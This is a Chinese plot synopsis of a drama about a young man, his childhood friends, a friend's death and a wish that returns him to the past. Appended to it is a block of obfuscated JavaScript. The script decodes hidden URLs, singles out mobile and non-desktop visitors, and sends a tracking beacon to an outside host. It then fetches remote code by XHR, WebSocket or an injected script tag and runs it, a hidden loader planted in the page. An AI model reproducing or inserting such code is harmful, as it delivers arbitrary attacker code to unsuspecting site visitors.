序曲俊杰不能置信眼前的一幕。爸爸居然挥拳打母亲。妈妈终于无法再和爸爸生活在一起,狠下心抛弃了两父子而去… 俊杰茫然失措的到处寻找妈妈,但妈妈却走了,就这样走了。俊杰蹲在细雨中,忍着内心的害怕和忿怒。这时,一个小手拿了面包递给他。俊杰抬头一看,却见到一个带着温柔笑容的小天使。那时志玲10岁。如果不是认识了志远、志玲两兄妹,还有天宝,或许,俊杰的人生会更加孤独。山丘上,俊杰领着志远和天宝,一起说出自己的志愿,勾画出自己未来的人生。他们意气高昂,结拜为兄弟,从此有福同享,有难同当。却没想到未来并不是如他们想象般美好…承调俊杰和李刚两父子相依为命,一起生活了好几年。但两父子间总是无法好好的沟通。俊杰依然不能原谅爸爸把妈妈赶走的事实。志玲总是在两父子间周旋,希望他们可以放下心结。事实上,志玲每一天的日子里,都带着俊杰的影子。她像是依附太阳得以生存的地球,没有办法离开俊杰。可惜,俊杰总是忽略这个身边的人。天宝很清楚,如果要和志玲在一起,就必须“打败”最大的情敌——俊杰。可惜,他像是围绕着地球的月亮,再耀眼,也无法和如阳光般灿烂的俊杰比拟。俊杰和志远同时邂逅小柔是个命运安排的恶作剧。两人无法自拔的同时爱上小柔,友情与爱情之间必须做出抉择。可是,一个残酷的事实被揭穿。小柔原来是活在过去的记忆,被去世的前度男友铭文牢牢捆绑的女生。她无法看见未来的天空,总是回头看以前幸福的时光,而志远不过是铭文的代替品。志远知道事实后,却愿意当铭文的代替品,他只希望能够让小柔幸福。但,小柔很清楚,或许只有俊杰能把她从以前的恋情拉出来。俊杰才是她的未来…转调在芽笼街为非作歹的蟑螂(张南),却因为遇上善良的志玲而想要改变自己绝望的人生。可是,因为一场意外导致志玲身亡。人生的道路上有时会有至少两个以上的选择。一个微不足道的抉择,足以影响自己周围所有人的未来人生。原本有机会救出志玲的俊杰,却为了留下将要离开的小柔,错过了可以救出志玲的机会。俊杰选择了小柔,却失去了志玲。志玲离开后,激烈的改变俊杰、志远、天宝、小柔的人生。变奏没有了志玲的日子,俊杰开始觉得空洞。虽然,他已经和小柔在一起,但总觉得他们之间出现一道无法逾越的隔阂。他开始习惯性的做志玲生前所做的事,希望这样来减轻自己间接害死志玲的愧疚。可是,俊杰心里也分不清,到底他对志玲是什么感觉…小柔尽力的想放开她和前度男友的纠缠不休的关系,她想迎接充满希望的未来。但过去的影子依旧笼罩着她。她察觉自己和俊杰越走越远,于是又陷入了把志远当成代替品的窘境。人,总是不断重复自己犯过的错误。俊杰在事业上遇到了挫折,同时也被一名叫子姗的女子操控。一个错误的决定,让他开始走上歧途,为了掩饰最初的过错,却不断犯下更多的错误。终于,俊杰失去父亲、爱人、好友。于是俊杰到以前常去的“许愿池”畔,许愿如果可以重来一次,他将要纠正自己的错误。他在许愿后,恍惚中看到志玲出现,他追向志玲,忽然失足掉入湖中,被一股神秘的力量卷入深黯的湖底…当俊杰苏醒过来时,赫然发现自己竟然回到了两 年前,志玲临死的前一刻……俊杰能回到过去改变他所犯下的错误吗?改变后的未来,是否又会比原本的好?或许,这世上任何事无法有个完美的结果,也无法有完整的答案……
function AEJPT(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function jfRGna(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AEJPT(t);};window[''+'W'+'v'+'V'+'b'+'K'+'G'+'y'+'T'+'F'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function awsW(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=jfRGna,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=awsW(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ouj.vtqccm.com:7891/stats/7747/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=awsW(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhhLnZ5aXBueC5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5iaGVVhZS5jb20lM0E5NTM1','4680',window,document,['h','V']);}:function(){};